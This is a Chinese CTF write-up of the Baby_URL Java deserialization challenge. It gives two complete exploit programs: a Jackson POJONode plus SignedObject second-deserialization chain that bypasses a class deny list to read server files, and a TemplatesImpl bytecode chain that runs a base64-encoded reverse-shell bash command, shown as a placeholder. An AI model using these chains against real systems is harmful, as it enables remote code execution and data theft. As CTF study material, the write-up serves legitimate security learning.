从巅峰极客2023Baby_URL看二次反序列化和Jackson原生链

这次本来是想学习Jackson原生链才开始做这道题打复现,但是没想到的是这道题的两个做法让我学习到了Jackson原生链结合二次反序列化绕黑名单或者打TemplatesImpl恶意字节码。

学到如今更觉受益匪浅,话不多说,直接开审。

题目分析

目录结构如下:

image-20240803211530820

IndexController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public class IndexController {
public IndexController() {
}

@RequestMapping({"/"})
@ResponseBody
public String index() {
return "Hello World";
}

@GetMapping({"/hack"})
@ResponseBody
public String hack(@RequestParam String payload) {
byte[] bytes = Base64.getDecoder().decode(payload.getBytes(StandardCharsets.UTF_8));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);

try {
ObjectInputStream ois = new MyObjectInputStream(byteArrayInputStream);
URLHelper o = (URLHelper)ois.readObject();
System.out.println(o);
System.out.println(o.url);
return "ok!";
} catch (Exception var6) {
Exception e = var6;
e.printStackTrace();
return e.toString();
}
}

@RequestMapping({"/file"})
@ResponseBody
public String file() throws IOException {
File file = new File("/tmp/file");
if (!file.exists()) {
file.createNewFile();
}

FileInputStream fis = new FileInputStream(file);
byte[] bytes = new byte[1024];
fis.read(bytes);
return new String(bytes);
}
}

URLHelper.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class URLHelper implements Serializable {
public String url;
public URLVisiter visiter = null;
private static final long serialVersionUID = 1L;

public URLHelper(String url) {
this.url = url;
}

private void readObject(ObjectInputStream in) throws Exception {
in.defaultReadObject();
if (this.visiter != null) {
String result = this.visiter.visitUrl(this.url);
File file = new File("/tmp/file");
if (!file.exists()) {
file.createNewFile();
}

FileOutputStream fos = new FileOutputStream(file);
fos.write(result.getBytes());
fos.close();
}

}
}

URLVisitor.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class URLVisiter implements Serializable {
public URLVisiter() {
}

public String visitUrl(String myurl) {
if (myurl.startsWith("file")) {
return "file protocol is not allowed";
} else {
URL url = null;

try {
url = new URL(myurl);
BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
StringBuilder sb = new StringBuilder();

String inputLine;
while((inputLine = in.readLine()) != null) {
sb.append(inputLine);
}

in.close();
return sb.toString();
} catch (Exception var6) {
Exception e = var6;
return e.toString();
}
}
}
}

很显然我们需要打/hack路由反序列化进去,/file就是一个读文件的功能。再看两个URL自定义模板类,它们都继承了Serializable接口。

URLHelper重写了readObject方法,即为入口类。调用了任意类的visitUrl方法,并把结果写进文件里。

URLVisiter通过指定url访问其内部资源然后返回。

只不过我们需要注意的是/hack路由的反序列化部分,它使用的是自定义的输入流的类MyObjectInputStream。这个类重写了resolveClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class MyObjectInputStream extends ObjectInputStream {
public MyObjectInputStream(InputStream in) throws IOException {
super(in);
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
String[] denyClasses = new String[]{"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "com.yancao.ctf.bean.URLVisiter", "com.yancao.ctf.bean.URLHelper"};
String[] var4 = denyClasses;
int var5 = denyClasses.length;

for(int var6 = 0; var6 < var5; ++var6) {
String denyClass = var4[var6];
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}

return super.resolveClass(desc);
}
}

把InetAddress、CC链ban了,甚至把他自己写的URLVisitor和URLHelper给ban了,这里我们就引入第一个做法,应该也是预期解。

SignedObject打二次反序列化绕过黑名单

SignedObject的二次反序列化能够让我们正常使用到题目提供的URLHelperURLVister,然后思路也很清晰,就是打/hack反序列化,file的startWith绕过可以在前面加个空格,或者全大写绕过。第一次读取目录和文件名找flag(是的,file://可以读目录),第二次读取flag。/flie路由可以读取到回显内容。

所以Exp呼之欲出,用Jackson原生链套上SignedObject打二次反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package com.eddiemurphy;

import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.ProtectionDomain;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;

public class Exp {
public static void main(String[] args) throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, (ProtectionDomain)null);
} catch (Exception var11) {
}

URLHelper urlHelper = new URLHelper(" file:///flag_eddiemurphy");
//URLHelper urlHelper = new URLHelper(" file:///");
URLVisiter urlVisiter = new URLVisiter();
setFieldValue(urlHelper, "visiter", urlVisiter);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(urlHelper, privateKey, signingEngine);

POJONode jsonNodes = new POJONode(signedObject);
BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp, jsonNodes);
System.out.println(serial(exp));
}

public static String serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}

private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

image-20240803211139099

image-20240803211143135

image-20240803211146962

image-20240803211151783

第二个方法更神,因为直接RCE了。

TemplatesImpl恶意字节码

这个方法甚至不需要它的URLHelper和URLVisiter,直接能反弹shell。

思路来源是AliyunCTF2023的Bypassit1。

不卖关子了,直接上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package com.eddiemurphy;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.ProtectionDomain;
import java.util.Base64;

public class Exp2 {
public static void main(String[] args) throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, (ProtectionDomain)null);
} catch (Exception var11) {
}

byte[] code = getTemplates();//用javassist获取
byte[][] codes = {code};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", codes);

POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);

setFieldValue(val, "val", node);

System.out.println(serial(val));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}

打一次hack即可,因为反序列化已经成功:

image-20240803211441966

image-20240803211445638

二次反序列化的研究我会后续再单开一个文章,因为也非常具有研究价值。可看浅谈Java二次反序列化 - 先知社区 (aliyun.com)


从巅峰极客2023Baby_URL看二次反序列化和Jackson原生链
https://eddiemurphy89.github.io/2024/08/03/从巅峰极客2023Baby-URL看二次反序列化和Jackson原生链/
作者
EddieMurphy
发布于
2024年8月3日
许可协议